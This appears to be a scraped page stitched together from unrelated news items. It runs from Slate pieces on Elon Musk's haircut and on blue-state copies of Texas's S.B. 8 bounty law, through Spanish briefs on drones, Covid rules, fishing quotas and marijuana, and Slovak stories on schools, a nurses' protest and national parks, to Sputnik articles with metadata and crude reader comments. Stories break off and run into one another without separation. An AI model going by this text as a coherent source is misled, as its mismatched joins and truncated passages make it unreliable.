Musks headwhat is the deal with that extra panel of hair? Allow me to speculate. For the better part of a decade, hair-loss experts have been discussing the likelihood that Musk has had a hair transplant. At this point, its a near certainty: If youve seen photos of Musk from the turn of the millennium, in his PayPal days, youve seen the top of his head in its natural state, dusted with a thin coating of wispy hair. A hair-transplant specialist told Page Six that this could be classified as a class three to a class four (out of seven) hair loss pattern, which sounds pretty serious. Nowadays, though, Musk has a fully populated front hairline with only a bit of recession at the temples. Either theres some kind of Faustian bargain going on here or Musk has had a hair transplant, and, you know, Occams razor and all. Advertisement Advertisement Advertisement If Musk had wanted a hair transplant, he would have been a perfect candidate, since he still had thick hair on the sides and back of his heada sizable crop to be reaped and replanted up front. And now that Musks given his sides and back a close shave, a hair-loss blog thats been following the billionaires hair journey since 2015 claims to have found a possible scar from the suspected procedure on his newly exposed scalp. You can see what theyre talking about in some of the Daily Mail photos. Advertisement Advertisement Its clear that Musk wants a cool haircut to stand out from his billionaire peers. Not something that evokes villainy, in the style of Jeff Bezos; not something uncanny and hideous, like Mark Zuckerberg; and not something boring or dweeby, like Larry Ellison and Bill Gates. So, over the past several years, in line with general trends, Musk has let the top of his hairdo grow longer and cut the sides progressively shorter. But his aspirations for a close-shaven back of head have finally run up against the scar, the price he paid for those robust waves that now frame his forehead. Perhaps Musk wasnt shooting for a quirky Mohawk after all, but was merely trying to camouflage the evidence of his vanity. Theres another possible explanation. Musks new do bears a remarkable resemblance to that of his 8-month-old son, X A-Xii, who recently received a Viking cut from his mother, Grimes. Is Musk just another aging parent attempting to keep up with the times by mimicking the aesthetic whims of his child (and much-younger former girlfriend)? I cant say for sure. Maybe he just couldnt see the back of his head while he was fumbling around with the clippers. When five Supreme Court justices voted last week to allow the principal enforcement mechanism of Texas abortion ban to stand, blocking lawsuits against court and state officials that would process litigation against abortion providers, Justice Sonia Sotomayor warned the decision could spell disaster for Americans constitutional rights. Republicans passed the Texas law to evade judicial review, and now legislators in a number of other Republican-led states are considering similar legislation. The Texas decision, Sotomayor cautioned, could open the door for those legislators to go ahead in nullifying other deeply held constitutional rights. Advertisement My disagreement with the Court runs far deeper than a quibble over how many defendants these petitioners may sue, the justice wrote in her dissent. The dispute is over whether States may nullify federal constitutional rights by employing schemes like the one at hand. Advertisement Advertisement Advertisement Subscribe to the Slatest Newsletter A daily email update of the stories you need to read right now. We encountered an issue signing you up. Please try again. Please enable javascript to use form. Email address: Send me updates about Slate special offers. By signing up, you agree to our Privacy Policy and Terms Sign Up Thanks for signing up! You can manage your newsletter subscriptions at any time. Sotomayors fears are already coming true. On Wednesday, Florida Gov. Ron DeSantis announced that he would push a bill called the Stop WOKE Act allowing parents to use the Texas vigilante lawsuit mechanism to seek a private right of action to sue teachers who teach CRT. And over the weekend, California Gov. Gavin Newsom suggested his state would copy Texas newly blessed scheme of issuing bounties against abortion providers and instead target sellers and manufacturers of certain types of guns. Both laws would deputize private citizens to sue fellow citizens to enforce laws that might otherwise face judicial scrutiny. Advertisement Advertisement Prior to S.B. 8, Republican legislators in a number of states used similar schemes to wage their culture war. For example, as Scott Pilutik reported in Slate in September, Tennessee passed a law allowing lawsuits against schools over transgender bathrooms and Florida passed a law allowing lawsuits against schools for allowing transgender athletes to compete. And Kentucky has passed a version of the measure DeSantis proposed targeting Critical Race Theory, while Missouri is allowing lawsuits by anyone who thinks they are being unlawfully denied a gun. These laws existed in a legal gray area until last weeks SCOTUS decision. Now, legislators appear free to write this novel enforcement mechanism into their laws without fear of judicial intervention (though, as others have noted, its unlikely this hyperconservative court will apply this standard consistently between red and blue states). Advertisement Advertisement Still, the decision provides progressive states some cover to challenge the court to show its hypocrisy. Newsoms proposal is the first attempt by a blue-state governor to fight fire with fire and meet Texas dangerous vigilante justice system with a version that challenges constitutional protections cherished by the right. Its unclear what the precise plan is; multiple attempts to reach Newsoms office, those of state legislators, and gun control activists such as Everytown for Gun Safety yielded only vague answers. In Newsoms cryptic announcement, he said that if states can now shield their laws from review by the federal courts [] then California will use that authority to enact limits on gun possessions. Specifically, the governor said he would work with state legislators to allow for $10,000 private lawsuits against anyone who manufactures, distributes, or sells an assault weapon or ghost gun kit or parts in the State of Californiaan activity that, it should be noted, is already illegal in the state. Advertisement Advertisement Advertisement Advertisement That a blue state might enact such a law actually came up in an amicus brief from a gun rights group and seemed to concern the deciding vote in the case, Brett Kavanaugh, enough for him to raise it in questions in oral arguments. This will easily become the model for suppression of other constitutional rights, Kavanaugh said, quoting from the brief, with Second Amendment rights being the most likely targets. He also warned it could be free speech rights it could be free exercise. It could be Second Amendment rights if this position is accepted here. Of course, Kavanaugh ultimately put those worries aside, and there is little reason to believe he will apply the logic he presented during oral arguments consistently when faced with a constitutional right he actually cares about. Advertisement Advertisement Advertisement Still, its only right for Democrats to try to force Kavanaugh and the other hard-right justices to reckon with their likely hypocrisy. The only thing is, if Texas is ultimately allowed to continue its scheme to thwart federal judicial review on abortion restrictions, as last weeks ruling indicated it would be, then Newsoms proposal does not go nearly far enough. Meanwhile, DeSantis and the several other GOP-led states have enacted similar legislation that will prove disastrous if enacted, leaving teachers, schools, abortion providers, and even ride-hail drivers threatened with all manner of random vigilante lawsuits. If progressive states want to meet Texas with the same force, they are going to have to take a bigger risk. There are three potential versions of legislation similar to S.B. 8 that blue states could enact to force the Supreme Courts five right-wing radicals to confront what it is they are blessing by approving the Texas legislation. One version would actually match what Texas has done, completely nullifying previous court precedent around a recognized constitutional right. A second version would be a more targeted attack on specific recent Supreme Court decisions adverse to a particular state. The third version would imitate S.B. 8 in structure alone, but not in actual substance. That appears to be the option Newsom has taken. Advertisement Advertisement Advertisement As executive director of the Duke Center for Firearms Law, Jake Charles, wrote in the Los Angeles Times on Monday, Newsoms approach is the tamest one, the least comparable to Texas actual legislation, and thus the least effective in pushing back against the vigilante law. Unlike the Texas law, Newsoms proposal would not offer an end run around government actors, Charles wrote. Newsoms idea wouldnt come close in mirroring it, which shows how tepid his suggestion is compared with how extreme the Republican attack on a constitutional right has become. The question is, Charles continued, whether Newsom or other Democrats are willing to go to the lengths needed to test the Supreme Courts alarming new precedent. Advertisement Like in so many other areasvoting rights, Supreme Court reform, the legislative filibuster, protections against election subversion, partisan gerrymanderingit does not appear that progressives have the will to meet conservatives on the battleground they have established. The right, meanwhile, has no compunction about targeting even the most vulnerableor just randompeople: victims of rape and incest who can no longer get abortions in the state after six weeks under the Texas law, school employees and teachers, or just ride-hail drivers. Targeting people who commit felony gun violations, which is what Newsoms proposed legislation would do, is not really an even trade. Advertisement Advertisement To be clear: The law Texas passed and the Supreme Court blessed nullifies a constitutional protection that has been on the books for nearly 50 years. Texas statute does this by allowing virtually anyone to sue abortion providers or their abettors for a minimum prize of $10,000 and court costs. By contrast, the California scheme would target a certain limited number of gun sales that are already illegal in the state and currently carry felony penalties of up to eight years in jail. Adding the potential for a $10,000 fine to something that can already land you in jail for eight years and thatunlike abortionis not currently a protected constitutional right is nowhere close to what Texas has done. It will not force the sort of confrontation at the Supreme Court necessary to attack the brutal Texas law. Advertisement Advertisement Advertisement As mentioned, there are a couple of other approaches that Newsom and other Democratic officials could opt for if they wanted to actually challenge Texas and the Supreme Courts horrific attack on the Constitution on their own terms. First, these blue-state leaders could carefully craft bounty legislation that serves as a direct response to recent Supreme Court precedent striking down laws in their states. In California, for instance, that could go a few ways. On the issue of abortion, California could revive a law that was struck down by the Supreme Court as a First Amendment violation three years ago that compelled crisis pregnancy centers to disclose they were unlicensed and that patients could go elsewhere for reproductive care services. The court said that law was unconstitutional, but if California wanted to try to evade judicial review using the courts recent S.B. 8 precedent, it could now allow for $10,000 lawsuits against any crisis center that tries to redirect women from abortion clinics with misleading information. In the areas of labor law, the Supreme Court recently struck down as a violation of the Constitutions takings clause a California provision that allowed union organizers access to farm sites during certain daytime hours to talk with workers. To evade that ruling, the state could craft legislation that allowed for $10,000 lawsuits against any farmland owner who blocks labor organizers from accessing their property. Finally, the court seems poised to strike down New Yorks ban on universal concealed-carry permits, which would affect similar legislation in California. On this question, both states could impose $10,000 lawsuits against any seller who offers an open-carry weapon to anyone who would not qualify for an open-carry license under the states current regimen. Advertisement Advertisement If all of these proposals sound convoluted in comparison to the Texas plan, thats because they are. The beautyand horrorof the Texas scheme is that it cleanly and clearly takes a previously established constitutional right and eliminates it through the bounty system, without jumping through much in the way of hoops. Again, the Texas law does not even allow an exception for rape or incest; it is functionally an outright abortion ban. Advertisement If California were to actually challenge the Supreme Courts five ultraconservatives to recognize the travesty of the scheme they just endorsed, then it would have to respond with a similarly clean piece of legislation. That could come in the form of an outright ban on handgun sales that would allow for $10,000 lawsuits against anyone who sells or abets the purchase of such a weapon. Such a ban would be controversial and might not even achieve political consensus in the deep-blue state, but it would be clean, simple, and would match Texas proposal completely reciprocally. (As Elie Mystal noted in the Nation, such a law might be vulnerable to a hypocritical court that might strike it down on the basis of congressional legislation that absolves gun manufacturers of liability.) Advertisement Advertisement Advertisement Another approach that would actually be as clean as S.B. 8 and maybe take on protections that are not as popular as the recently established right to own a handgun would be to target First Amendmentprotected speech by, say, imposing $10,000 civil penalties for anyone who spreads false claims about election fraud. Unless it constitutes outright libel or incitement, such behavior is currently protected by the U.S. Constitutionbut not, apparently, against civil lawsuits similar to those of the Texas bounty scheme. Enacting such a law would in one instant make much of the most dangerous and deceptive programming on places like One America News Network, and potentially even Fox News, illegal. It would be a direct effort to ban the sort of misinformation that led to the Jan. 6 assault on the Capitol and continues to threaten our democracy to this day. Advertisement There are, of course, many good reasons not to attempt to enact such legislation. Our system has functioned for more than 200 years with judicial review, and taking part in the dismantling of our courts will only feed chaos. Targeted attacks on First Amendment speech that blue states might find objectionableor even, in the case of election misinformation, dangerouscould only lead to backlash and potentially an escalating tit-for-tat where progressive free speech rights are targeted. And as they say, two wrongs dont make a right. Advertisement Advertisement Ultimately, though, the S.B. 8 ruling may have forced progressives hands. Its only because of potential Democratic-state unilateral disarmament, after all, that conservatives on the court might have felt emboldened to allow Texas and other red states to put in place such a bounty system to target constitutionally protected rights that Republicans loathe. Unilaterally disarming without forcing the Supreme Court to confront what its doing may sound like a lofty, high-minded goal, but it allows the courts conservatives off the hook without having to stare in the face the damage of their rulings on issues they actually care about. Only by confronting the court with what its done by offering the inverse version of S.B. 8 can a state like California actually have a chance of getting the Supreme Court to back us down from this horrible brink. Even then, when confronted with their hypocrisy, the courts conservatives probably wont back down, but at least they will be exposed much more clearly as the partisan hacks they claim not to be. Progressive states may be legitimately worried about the stakes and are therefore reluctant to rush into the Republicans all-out race to the bottom by nullifying long-held constitutional rights. The risk, of course, is upending the force of the Constitution itself, a risk about which the GOP seems unconcerned. But inside the highest court, the alarm bells are already ringing. As Chief Justice John Roberts warned: [i]f the legislatures of the several states may, at will, annul the judgments of the courts of the United States, and destroy the rights acquired under those judgments, the constitution itself becomes a solemn mockery. ARCHIVED - France and Spain coordinate the first cross border drone flight The military drone was successfully flown in the same airspace as commercial planes For the first time ever, Spain and France have coordinated to fly an unmanned drone through the airspace of both countries, where the device safely navigated its way through other commercial planes. According to ENAIRE, Spains government-owned aeronautical service provider, the MQ-9 Reaper drone took off at 12.30pm on December 13 from the military airbase in Cognac, north of Bordeaux, under the control of French air traffic controllers. It crossed the Pyrenees after which its operation was transferred to the control centre in Madrid and was flown towards Navarra and Zaragoza. The complicated manoeuvring then required ENAIRE and ECAO soldiers in Barcelona to navigate the Reaper through Spanish airspace at about a 7km altitude before it returned to land in France at 4pm local time. The flight had been prepared for in exhaustive detail for months, taking into account any unexpected situations that could arise en route, but the drone followed its flight plan to a tee and successfully passed all the safety and feasibility studies carried out by the European Defence Agency. The Reaper received the exact same air traffic control service as a conventional piloted plane, which ensured that it kept a safe distance from all other aircraft flying at the time. This groundbreaking exercise is an example of the commitment of the authorities in both Spain and France to promote the drone sector and the development of European regulations to further the field of certified remotely piloted aircraft systems. Images: ENAIRE ARCHIVED - Health experts in Spain propose limiting table numbers at Christmas parties The proposal recommends that people take an antigen test before attending any Christmas dinners in Spain Another year, another Christmas at the mercy of the coronavirus pandemic. Even though 89.6% of the target population is now fully vaccinated, the number of infections continues to grow and Spain has entered the medium-risk level for Covid (the incidence rate is approaching 400, but hospital pressure remains relatively low). All this, along with the emergence of the Omicron variant has prompted public health advisers to request two new safety measures for Christmas parties and dinners: tables should be limited to a maximum of 10 non-cohabitants and all guests attending these festive celebrations with friends and co-workers should be required to undertake an antigen test beforehand. The proposal is part of the Presentation of Alerts and Preparation Response Plans for the celebration of the Christmas holidays and focuses mainly on family reunions and activities with relatives who are not living together, mainly in closed places, which experts have insisted are hotbeds for infection. Each autonomous community can of course decide on its own safety measures, but the health experts have called on the central government to take a more coordinated approach. It is recommended that people avoid social gatherings over the festive period if they are displaying any cold or flu symptoms, and the plan has recommended that staff and residents who leave elderly care homes over Christmas be required to take a test on their return. With regard to parades, processions and religious celebrations, the report asks that the authorities limit them to places where social distancing can be guaranteed. High-risk communities Navarra, Aragon, Castilla y Leon, Catalonia, the Basque Country and La Rioja all have a hospital occupancy rate of more than 15%, and the experts believe additional control measures should be enforced: Maximum of 10 people from two households should be allowed to meet in private Christmas parties would be limited to six people per table Religious celebrations and parades reduced by 50% Capacity of bars and restaurants reduced by 50%. Closing time at 11pm Supermarkets close their non-essential public areas Very high risk communities In the event that any community reaches the very high risk level a 14-day incidence of more than 500 and hospital occupancy greater than 15% or ICU higher than 25% the Alerts Report discourages company dinners and believes Christmas events should largely be cancelled. In this event, nightclubs and the interior of bars and restaurants would be closed, while family gatherings would be limited to six people. The proposal has been submitted and will either be reviewed by the Public Health Commission on Thursday December 16 or at a meeting next week. Image: Archive ARCHIVED - Spain has its own fishing row with EU It was the only EU country to oppose 2022 fishing restrictions, but wildlife groups in Spain say new fishing quotas dont go far enough It was decided this week that fishing quotas in the Atlantic are to be reduced and the number of days fishermen are allowed to work in the Mediterranean for 2022 will be cut. Spains Minister of Agriculture and Fisheries, Luis Planas, had no choice but to accept the cuts in fishing quotas for hake, but was the only representative of any country to vote against the reduction of fishing efforts in the Mediterranean. The reduction in the number of days that trawlers will be able to fish in the Mediterranean by 6% (on top of a 17% reduction over the past two years) was the reason that Spain did not endorse the EU agreement, but it will be obligatory for them to follow in any case. Coastal communities could be hard hit by fishing quotas For countries like Spain and France, the stakes are high for fishing quotas. Spain is facing cuts for the third year in a row. In southern hake, the most consumed fish in Spain, the proposed reduction was 18.5% but this quota has finally been reduced by 8%, while the cut in the amount of sole that can be caught has been reduced to 5%. It is necessary to preserve fish stocks and also the economy of fishing villages and the way of life of their inhabitants, Planas said. The difficult balance between the sustainability of fisheries and the economic impact that cuts could have on coastal areas like Cadiz and Galicia are always the hot points of the debate. Spain opposed the European agreement to reduce fishing days because Supporting this proposal would mean letting our fishermen down and leaving the future and economic livelihood of coastal areas and the population that depends on their activity adrift. Fish stocks and marine life still suffer from overfishing For environmental groups, the risk of overfishing is very present, especially in the Mediterranean. Javier Lopez, a marine scientist with Oceana, said, Oceana regrets that fisheries ministers have missed the opportunity to ensure the sustainable exploitation of fish stocks in EU waters and have instead decided to exceed the scientific advice for Atlantic fish stocks by 35% and have not been ambitious enough in reducing the fishing effort in the Mediterranean. Fish species living near the bottom of the sea are in a precarious situation, as recognised by the Ministry of Agriculture and Fisheries management plan in May 2020, most of them due to overfishing. Whats more, some of the most commercially valuable species have been overfished at up to ten times the sustainable value, according to Oceana. These include such popular varieties as hake, but also white and red shrimp, Norway lobster, red mullet and red prawns. Scientists have already sounded the alarm: none of the management scenarios evaluated for 2022 will put an end to overfishing by 2025 as promised, several environmental organisations including Ecologistas en Accion, WWF and Oceana have warned in a joint statement. According to their analysis, a drastic reduction in trawl fishing is needed to not endanger the future of Mediterranean fisheries. Their fear is that overfishing will lead to the collapse of stocks, with fish numbers becoming excessively depleted by indiscriminate raking of the oceans using huge trawler nets. Technical estimates called for reductions in catches for the species most targeted by trawlers of 74% on hake shoals, 57-90% for Norway lobster, 36% for white shrimp or up to 58% for red shrimp, but the real reductions agreed to by the EU this week fall far short of whats needed. For Cecilia del Castillo Moro of Ecologistas en Accion, the economic interests of the industry are still being prioritised over the management of public resources, while a long-term vision is needed to ensure future fisheries that guarantee healthy fish stocks and marine ecosystems and thriving coastal communities. Images: Archive ARCHIVED - Spain to work closely with electricity companies to stamp out marijuana plantations Marijuana trafficking is the main criminal activity in Spain behind cannabis and cocaine Marijuana is a big business in Spain and the number of illegal plantations which supply both the national and European market has grown exponentially in recent years. Now one of the main criminal activities in this country, behind only the trafficking of hashish and cocaine, in just six years the seizure of plants has increased by between 150 and 305%. The experts believe the warm climate in Spain is one of the main attractions for criminals developing marijuana plantations, but there are also huge areas of unpopulated land where the cultivation can go unnoticed and the equipment needed to successfully grow the drug can be found with relative ease. To combat the growing illegal trade, the government unveiled its National Action Plan Against Crime Associated with the Production and Trafficking of Marijuana on Tuesday December 14, through which it has vowed to work more closely with electricity providers to flush out the illicit plantations, which frequently tap into the national grid to maintain their crops. In addition, the authorities want to impose more controls on so-called cannabis clubs and ensure that seized narcotics are destroyed in a more timely fashion. The Prosecutors Office has warned that a serious crackdown is needed to dismantle the mafia-type organisations responsible for exporting drugs from Spain to the rest of Europe. These violent criminals do not just confine themselves to narcotics but also specialise in human trafficking, a practice which the Office has described as a contemporary form of slavery. Solving the problem is no easy task, however, as the mafias operate in many provinces throughout Spain and under several different guises. Recent investigations have discovered, for example, marijuana plantations in Andalucia being hidden behind the front of hemp farms, and in Lleida, illegal plants camouflaged among corn crops. Image: Guardia Civil Even as the Slovak central government was directing schools to stay open until December 13, local authorities were busy closing them anyway. But at what cost to childrens health and wellbeing? Font size: A - | A + Comments disabled This story was produced in partnership withReporting Democracy, a cross-border journalism platform run by the Balkan Investigative Reporting Network. The adverse consequences for children of shutting schools during the Covid-19 pandemic are well-documented, wide-ranging and long-lasting. With Slovakia having administered one of the longest school closures globally, growing divisions have opened up within government and between experts about how best to handle childrens education as another deadly wave of the pandemic engulfs the country. Unlike last year, when schools shut in mid-October 2020 for most pupils and ended up staying closed for more than half a year, the Slovak government opted to leave schools open this time around as it tried to strike a balance that would both mitigate the pandemic and avoid the kind of harsh lockdown imposed across the country last winter. However, it took a veto by the education minister and his Freedom and Solidarity (SaS) party in a cabinet session of the four-party coalition on November 24 to halt a push to close the schools. Education Minister Branislav Grohling argued for leaving schools out of countering the pandemic this time around, saying the younger generations should no longer be made to pay for the decisions of adults. Closed schools will not solve the pandemic for us; what solves the pandemic is that we go and get vaccinated to get out of this whole situation, Grohling told a November 26 press conference. He also argued that closures would go against World Health Organization guidelines. Ultimately, the government decided on December 7 that schools around the country should switch to online learning from the fifth grade upwards one week before the Christmas holidays, on December 13, as part of what experts have described as a half-hearted lockdown imposed on the country. (Source: TASR) At the start of the lockdown on November 25, all primary and secondary schools, special schools, and kindergartens remained open, on paper at least, with a reintroduced mask mandate for pupils and an order to mix classrooms as little as possible. The Education Ministry halted all after-school activities, language schools and art schools. We aim to keep as many pupils as possible in schools until the holidays, Minister Grohling said on November 26. Open but closed Opposition party Smer offered them legal help, the workers refused. Frantisek Majersky, chief of Slovak Chamber of Health Rescuers and Iveta Lazorova, chief of Slovak Chamber of Nurses and Midwives (Source: SITA) Font size: A - | A + Comments disabled Emergency healthcare workers and nurses gathered in front of parliament on December 14 to protest. They came to thank MPs and the government for their failure to improve conditions for healthcare workers and for the unfulfilled promises of significant salary hikes in health care in 2022 that were to stabilise the staff after the pandemic. Police detained two of the protesting rescuers, among them the President of the Slovak Chamber of Health Rescuers Frantisek Majersky. The detention caused an uproar among the public. While some politicians, such as coalition OLaNO leader Igor Matovic, commented that everyone is equal in front of the law, and protests are banned during a national emergency and under the current anti-epidemic rules, others pointed out that when the opposition called for protests or there were people blocking the streets of Bratislava, nobody was detained. Refused to pay fines The law was passed without the support of Sme Rodina, a coalition party. Font size: A - | A + Comments disabled The administration of forest lands within national parks owned by the state will fall under the Environment Ministry. Parliament passed the amendment on December 14; 75 MPs out of 76 present MPs voted for it. The coalition passed the law without Sme Rodina. The amendment gained the support of Miroslav Kollar and Tomas Valasek, former members of the Za Ludi caucus. The reform could not be passed without them. Environment Minister Jan Budaj said that the national parks have simply been moved into the 21st century. "Protected areas in the fourth and fifth level of protection will fall under state nature protection, under the Environment Ministry. New legal entities will be created, protecting parks," Minister Budaj said, as quoted by the TASR newswire. Slovak national parks lack protection. Amended law should be the first step towards change Read more The key date is March 31, 2022, when administrations of the national parks will be established as individual organisations of environmental protection. They will manage state-owned movable and immovable property in national parks. The next day, April 1, the administration of the affected property will be delimited. Who will be on the board? MPs from several coalition parties had objections to the amendment voted in on Tuesday. Following the reopening of the debate, Parliament adopted an amendment which, according to Gyorgy Gyimesi (OLaNO), stated that the land of the unidentified owners would not be transferred to the national park administration. The law directly states the group of representatives who have the right to be on the national park board. They should be a representative of the local government in whose territory the relevant national park is located. The group includes the Mountain Rescue Service, representatives of legal entities operating in environmental and landscape protection and forestry and tourism, and experts from scientific and professional organisations appointed and removed by the Ministry. The transfer of land under levels of protection lower than the fourth and fifth levels will occur only after the zoning of national parks has taken place. Sme Rodina MP Jaroslav Karahuta criticised the proposed reform. He announced in advance that his party could not support the law. Among other things, he objected to the lack of farmers and private forest owners in some national parks. Reform of national parks to be postponed, also due to objections of coalition partner Read more According to the authors of the amendment, the main shortcoming is that the nature and landscape protection organisation, which was established for the purpose of providing care for specially protected parts of nature and landscape in Slovakia, does not directly manage land in these areas. It is inefficient for the state if two state organisations take care of the territory in the national park. https://sputniknews.com/20211214/social-media-reacts-to-zlatan-ibrahimovics-meeting-with-the-pope-1091527853.html 'Zlatan With a Fan': Social Media Reacts to Ibrahimovics Meeting With the Pope 'Zlatan With a Fan': Social Media Reacts to Ibrahimovics Meeting With the Pope Zlatan Ibrahimovic is one of the worlds most famous athletes, boasting 51.7 million followers on Instagram and 7.8 million followers on Twitter. 2021-12-14T23:36+0000 2021-12-14T23:36+0000 2021-12-14T23:41+0000 pope francis zlatan ibrahimovic sport viral /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/106285/95/1062859573_0:0:3500:1969_1920x0_80_0_0_0bb6d5ada215c4c7d9c88cf3df8da00e.jpg Ibrahimovics social media following is gaudy, but with approximately 1.3 billion Catholics, the Pope has him beat when it comes to followers. However, it appears that Pope Francis was just as starstruck by one of the worlds greatest self-promoters.Ibrahimovic traveled to the Vatican to personally exchange gifts with the Pope. He gave him a signed jersey and a copy of his autobiography Adrenalina. Pope Francis wasnt to be outdone and gave Ibrahimovic a copy of his book Sport according to Pope Francis.While Ibrahimovics exploits on the pitch made him a superstar, his ability to generate quotes is second to none. In fact, Ibrahimovic sees himself as having no equal. Over the past decade, the Swedish striker has continuously referred to himself as god.In 2013, Ibrahimovic had an otherworldly exchange with a reporter.While he refrained from calling himself a god, he couldnt resist the temptation for long.In 2018, while playing with the Los Angeles Galaxy, he welcomed LeBron James to the city of Angels as only he could.Naturally, when Ibrahimovic met the Pope, or, according to Ibrahimovic, when the Pope met God, social media went into overdrive.There's been a Pope, and sometimes two or three, for over a thousand years, but there is only one Zlatan.Now that Pope Francis has Zlatan's blessings there's no telling what he can do.Apparently, the only person the Pope can confess to is a Zlatan. Perhaps Ibrahimovic will take a stab at the clergy after his playing career. Hess To reborn again Zlatan must repent for his bad behaviour, and pays compensation for those he abused and caused psychological harms. 0 1 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Nevin Brown Nevin Brown News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Nevin Brown pope francis, zlatan ibrahimovic, sport, viral https://sputniknews.com/20211215/activists-opposition-hit-out-at-bjp-over-bill-against-religious-conversion-in-indias-karnataka-1091535057.html Activists, Opposition Hit Out at BJP Over Bill Against Religious Conversion in India's Karnataka Activists, Opposition Hit Out at BJP Over Bill Against Religious Conversion in India's Karnataka Karnataka is set to become the fourth state - after Madhya Pradesh, Uttar Pradesh and Gujarat - ruled by the Bharatiya Janata Party to have adopted an... 15.12.2021, Sputnik International 2021-12-15T13:58+0000 2021-12-15T13:58+0000 2021-12-15T13:58+0000 bharatiya janata party (bjp) india karnataka state karnataka christian democratic union/christian social union (cdu/csu) india /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/0f/1091539986_0:0:1248:702_1920x0_80_0_0_af2d02a4a3f1ed6274fcd1eb22c25d8c.jpg As India's Karnataka state government tables an anti-conversion Bill in its legislature, a number of civil rights activists, minority groups, and opposition parties have come out against the move, claiming that the Bill violates fundamental laws and individual rights.The legislation stipulates the penalty for forced religious conversion. It also requires those who wish to convert to another religion to file an application before the Deputy Commissioner two months in advance.Justifying the Bill, Karnataka state chief Basavaraj Bommai has said that the government aims to prevent only those cases when a person is offered monetary or other benefits to convert to another religion.With No Data and Facts, BJP Just Politicising Issue: ActivistsSpeaking with Sputnik, Professor Y Rajendra, the president in Karnataka of the People's Union For Civil Liberties, said: "The Bill is politically motivated, unconstitutional, illegal and no due process was followed while preparing it - no discussion was held at all before drafting this Bill."Prof Rajendra on Wednesday also released a report, titled 'Criminalising the Practice of Faith', listing the 39 incidents of hate crimes against the Christian community in Karnataka in 2021, most of which were perpetrated by Hindu activists, including such groups as Bajrang Dal and Vishwa Hindu Parishad.He also stressed the fact that no matter what the BJP says, there is no need for such a Bill in the state."Where is the need for this Bill? This Bill is designed to harass minorities. So many incidents are reported where these Hindu group members are forcefully barging into individuals' (mostly Christian) homes. Who are they to enter someone's house?"Most of the time, police are not taking any action against Hindu groups - it seems either they're aligning with them or scared to take action against them," Prof Rajendra explained.Calling the Bill draconian, Dr Peter Machado, the Roman Catholic Archbishop of Bengaluru city, told Sputnik: "It is a known fact that Christian missionaries run schools and hospitals across the country. But there is no single case where one can prove that we ask for someone to convert from their religion in exchange for education or health benefits.""If our services were aimed at conversion, half of the country would have been Christians by now," he added.Last week, many Christian societies and their members staged a protest in the state capital Bengaluru.In a text message, Congress state president DK Shivakumar told Sputnik: "This is all a political game. We will oppose the Bill inside and outside the assembly."The BJP, which faced scathing attacks from minority groups on Wednesday, stressed: "The Christian population in the state has risen from 0.5 percent to 3 percent.""All conversions - as far as the BJP are concerned - are illegal," the BJP's senior politician Vaman Acharya added.However, he failed to provide any data or numbers to back up his claim.The Government of India says that in 2001, Karnataka was 1.91 percent Christian whereas in 2011 that percentage had fallen to 1.87 percent. Cross Bane Those living in Karnataka state know how rampant is the conversion by christians. How big money is involved in it. How the Hindus are targeted and fooled. So such law is not only very necessary, it is even too late!! A stricter law has to come, meaning the total ban on conversion!! 0 1 india karnataka state karnataka Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Deexa Khanduri https://cdnn1.img.sputniknews.com/img/07e4/0c/1e/1081607388_0:0:961:960_100x100_80_0_0_e9e931b8c1e18fb41f3074e2145d7a3a.jpg Deexa Khanduri https://cdnn1.img.sputniknews.com/img/07e4/0c/1e/1081607388_0:0:961:960_100x100_80_0_0_e9e931b8c1e18fb41f3074e2145d7a3a.jpg News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Deexa Khanduri https://cdnn1.img.sputniknews.com/img/07e4/0c/1e/1081607388_0:0:961:960_100x100_80_0_0_e9e931b8c1e18fb41f3074e2145d7a3a.jpg bharatiya janata party (bjp), india, karnataka state, karnataka, christian democratic union/christian social union (cdu/csu), india https://sputniknews.com/20211215/actor-matthew-mcconaughey-explains-why-he-decided-not-to-run-for-governor-of-texas-1091549751.html Actor Matthew McConaughey Explains Why he Decided Not to Run For Governor of Texas Actor Matthew McConaughey Explains Why he Decided Not to Run For Governor of Texas The star of Dallas Buyers Club and Interstellar began flirting the idea about trying his hand in politics at the end of 2020. A poll conducted by the local outlet showed that the actor could have defeated the incumbent governor. 2021-12-15T16:40+0000 2021-12-15T16:40+0000 2021-12-15T16:40+0000 society texas politics matthew mcconaughey jimmy fallon /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/01/0f/1081774506_0:0:2941:1654_1920x0_80_0_0_e08ea1d7d7f8f359f778594579a00331.jpg Hollywood star Matthew McConaughey has revealed why he decided not to run for governor of his home state, Texas. Speaking on the The Tonight Show Starring Jimmy Fallon, the 52-year-old said he felt that it was not the right time to dive into the world of politics.The "storytelling" the actor referred to is his memoir 'Greenlights' which was released in October 2020. The book sold more than 2.5 million copies and spent 47 weeks on the New York Times non-fiction bestseller list.Although the actor doesnt plan trying his hand at politics in the near future, he didnt rule out the option of running for governor at some point. Last month, a poll conducted by a newspaper in Texas revealed that the 52-year-old would have defeated Greg Abott, the incumbent governor of Texas, had he run in the gubernatorial elections in 2022 with 43 percent of respondents supporting the actor, and only 35 percent backing Abbott.The superstar confessed that he felt overjoyed when he managed to help victims of the storm Uri in his home state this February. The Lone Star State - as well as other parts of the United States - was affected by severe winter storms. The southern states independent energy grid collapsed under high demand for heat and left millions of people without electricity. The storms have left 200 people dead.Matthew McConaughey and his wife Brazilian-American model Camilla Alves organized a charity concert, which raised $7.7 million for the victims of the storm.Last month, The Hollywood Reporter named the actor Philanthropist of the Year. BillOwens In Texas, the post of governor is mostly ceremonial. The Lieutenat Governor is who actually governs. 0 Hess MM is busy doing too much jerking. He should get over it and rescues Texas by becoming its Governor. 0 2 texas Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 